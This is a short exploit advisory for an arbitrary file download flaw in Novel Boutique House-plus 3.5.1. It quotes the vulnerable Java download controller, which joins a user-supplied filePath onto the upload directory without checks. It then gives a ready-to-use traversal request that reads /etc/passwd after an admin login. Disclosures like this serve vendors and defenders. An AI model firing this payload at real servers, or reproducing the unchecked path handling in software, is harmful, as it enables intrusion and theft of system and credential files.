Novel Boutique House-plus 3.5.1 Arbitrary File Download

`# Exploit Title: Novel Boutique House-plus 3.5.1 - Arbitrary File Download  
# Date: 27/03/2021  
# Exploit Author: tuyiqiang  
# Vendor Homepage: https://xiongxyang.gitee.io/  
# Software Link: https://gitee.com/novel_dev_team/novel-plus,https://github.com/201206030/novel-plus  
# Version: all  
# Tested on: linux  
  
Vulnerable code:  
  
com/java2nb/common/controller/FileController.java  
  
@RequestMapping(value = "/download")  
public void fileDownload(String filePath,String fileName, HttpServletResponse resp) throws Exception {  
String realFilePath = jnConfig.getUploadPath() + filePath;  
InputStream in = new FileInputStream(realFilePath);  
fileName = URLEncoder.encode(fileName, "UTF-8");  
resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);  
  
resp.setContentLength(in.available());  
  
OutputStream out = resp.getOutputStream();  
byte[] b = new byte[1024];  
int len = 0;  
while ((len = in.read(b)) != -1) {  
out.write(b, 0, len);  
}  
out.flush();  
out.close();  
in.close();  
}  
  
  
Guide:  
  
1. Log in to background management  
2. http://xxxx/common/sysFile/download?filePath=../../../../../../../../../../../../../../../../../etc/passwd&fileName=passwd  
  
  
`